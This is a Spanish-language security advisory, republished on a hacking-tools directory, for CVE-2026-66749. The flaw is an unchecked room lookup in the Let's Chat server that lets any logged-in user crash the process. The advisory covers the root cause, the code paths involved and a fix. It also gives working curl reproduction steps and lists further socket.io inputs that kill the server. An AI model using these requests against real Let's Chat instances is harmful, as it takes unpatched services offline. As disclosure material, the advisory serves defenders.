Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-66749-Unchecked-Room-Lookup-Leads-to-Server-Crash-Let-s-Chat- — Aviso de Seguridad: Búsqueda de Sala sin Comprobar Provoca la Caída del Servidor (Let's Chat) | Kitploit
Herramientas/GitHubGitHub/theopaid/cve-2026-66749-unchecked-room-lookup-leads-to-server-crash-let-s-chat-
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónAprendizaje y Educación
GitHubtheopaid/cve-2026-66749-unchecked-room-lookup-leads-to-server-crash-let-s-chat-

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-66749-Unchecked-Room-Lookup-Leads-to-Server-Crash-Let-s-Chat-

Aviso de Seguridad: Búsqueda de Sala sin Comprobar Provoca la Caída del Servidor (Let's Chat)

Ver Repositorio
hace 22 díasAún no revisado

Aviso de seguridad: la búsqueda de sala sin verificar provoca la caída del servidor (Let's Chat)

ID de CVE asignado: CVE-2026-66749

Resumen

Una única solicitud HTTP desde cualquier cuenta iniciada detiene el proceso del servidor de Let's Chat.

GET /messages toma un parámetro room, busca esa sala por id y luego llama a un método sobre el resultado sin comprobar que la búsqueda haya devuelto algo. Si se envía un id que es una cadena hexadecimal válida de 24 caracteres pero que no pertenece a ninguna sala, el TypeError resultante se lanza dentro de una devolución de llamada de Mongoose. Express solo captura las excepciones que se lanzan de forma síncrona dentro de un manejador, por lo que esta llega a Node como una excepción no capturada y el proceso termina.

Versiones afectadas

Repo URL: https://github.com/sdelements/lets-chat

Vulnerable desde 0.4.0 (commit 84981a6, 21 Feb 2015, que introdujo la llamada canJoin) hasta 0.4.8, la versión final. No existe una versión corregida.

Confirmado en 0.4.8 en el commit 617207f, y en docker.io/sdelements/lets-chat:latest (0.4.7), que todavía se puede descargar públicamente.

Clasificación

CWE-476: Desreferencia de puntero nulo, que conduce a CWE-248 Excepción no capturada y CWE-400 Consumo de recursos no controlado.

Puntuación base CVSS 4.0: 7.1 (Alta) CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Modelo de amenaza

El atacante necesita una cuenta de usuario normal y acceso de red al puerto HTTP. No necesita ser propietario ni pertenecer a ninguna sala, conocer ningún id de sala existente ni tener ningún rol elevado.

El requisito de cuenta es débil en una instalación predeterminada, porque auth.local.enableRegistration tiene como valor por defecto true en defaults.yml, por lo que cualquiera que pueda acceder a la página de inicio de sesión puede crear una cuenta y luego ejecutar la solicitud.

Ni el Procfile (web: npm start) ni docker/docker-compose.yml configuran un supervisor o una política de reinicio, por lo que en una implementación estándar una sola solicitud deja el servicio fuera de servicio hasta que un operador lo reinicia. Cuando un operador ha añadido supervisión de procesos, el atacante puede simplemente repetir la solicitud.

Detalle técnico

La ruta no registra ningún middleware de validación de sala. app/controllers/messages.js:25-32:

root@kitploit:~
app.route('/messages')
    .all(middlewares.requireLogin)
    .get(function(req) {
        req.io.route('messages:list');
    })
    .post(function(req) {
        req.io.route('messages:create');
    });

Compárese con app/controllers/messages.js:34-41, donde la variante con ámbito de sala sí añade middlewares.roomRoute, que resuelve la sala y devuelve 404 cuando no existe:

root@kitploit:~
app.route('/rooms/:room/messages')
    .all(middlewares.requireLogin, middlewares.roomRoute)

Así, en /messages el valor room llega al gestor sin validar. app/core/messages.js:118-129:

root@kitploit:~
Room.findById(options.room, function(err, room) {
    if (err) {
        console.error(err);
        return cb(err);
    }

    var opts = {
        userId: options.userId,
        password: options.password
    };

    room.canJoin(opts, function(err, canJoin) {   // line 129: room may be null

Model.findById invoca la devolución de llamada con (null, null) cuando el id se convierte correctamente pero no coincide con ningún documento. No hay ninguna comprobación if (!room), por lo que la línea 129 desreferencia null.

Salida observada:

root@kitploit:~
events.js:174
      throw er; // Unhandled 'error' event

TypeError: Cannot read property 'canJoin' of null
    at /usr/src/app/app/core/messages.js:129:14
    at model.Query.<anonymous> (/usr/src/app/node_modules/mongoose/lib/model.js:4093:16)

Reproducción

Contra una instalación estándar en el puerto 5000, sin cambios de configuración:

root@kitploit:~
BASE=http://localhost:5000

# 1. Create an account. Self registration is on by default.
curl -s -X POST $BASE/account/register \
  -H 'Content-Type: application/json' \
  -d '{"username":"mallory","email":"[email protected]",
       "password":"Passw0rd!23","password-confirm":"Passw0rd!23",
       "firstName":"M","lastName":"M","displayName":"M"}'

# 2. Log in and keep the session cookie.
curl -s -c cookie.txt -X POST $BASE/account/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"mallory","password":"Passw0rd!23"}'

# 3. Ask for the messages of a room that does not exist.
curl -s -b cookie.txt "$BASE/messages?room=507f1f77bcf86cd799439011"

El paso 3 no devuelve cuerpo y curl termina con el código 52 (respuesta vacía del servidor). El proceso del servidor ha desaparecido. Cualquier id de 24 caracteres hexadecimales que no coincida con ninguna sala funciona.

Otras instancias del mismo defecto

express.oi registra cada clave app.io.route(...) como un manejador socket.on(...) normal (initRoutes en node_modules/express.oi/lib/index.js). Por lo tanto, un cliente socket.io autenticado puede llamar estos manejadores directamente, lo que omite la cadena de middlewares de Express, incluido roomRoute. También elimina el try/catch de Express, por lo que un lanzamiento síncrono que por HTTP sería un 500, por socket.io mata el proceso.

Cada uno de los siguientes también termina el proceso. Todos confirmados.

Corrección sugerida

Protege las búsquedas. En app/core/messages.js:118 y app/core/files.js:156:

root@kitploit:~
Room.findById(options.room, function(err, room) {
    if (err) {
        console.error(err);
        return cb(err);
    }

    if (!room) {
        return cb(null, []);
    }
    ...

app/core/rooms.js:234 necesita el mismo tratamiento antes de llamar a sanitizeRoom, y app/core/rooms.js:248 debería rechazar un options.identifier ausente o que no sea una cadena.

Dos cambios cerrarían toda la clase en lugar de solo estas instancias. Primero, convertir y validar los parámetros de consulta que se asumen como cadenas (expand, room, id, take, skip) en el límite del controlador. Segundo, envolver el despacho de los manejadores de socket.io en un try/catch y adjuntar un manejador process.on('uncaughtException') para que una única solicitud incorrecta se degrade a una respuesta de error en lugar de detener el servidor.

Descargar herramienta
Alcanzable a través deEntradaLugar del lanzamiento
HTTP y socket.iomessages:list, room establecido a un id inexistenteapp/core/messages.js:129
HTTP y socket.iofiles:list, room establecido a un id inexistenteapp/core/files.js:167
socket.iorooms:get con un id inexistente, o sin idapp/core/rooms.js:213 vía :234
socket.iorooms:users sin salaapp/core/rooms.js:248
socket.iorooms:join sin idapp/core/rooms.js:248
socket.iomessages:list con expand como un arrayapp/core/messages.js:97
socket.iofiles:list con expand como un arrayapp/core/files.js:139
socket.iousers:get con id como un objetoapp/models/user.js:139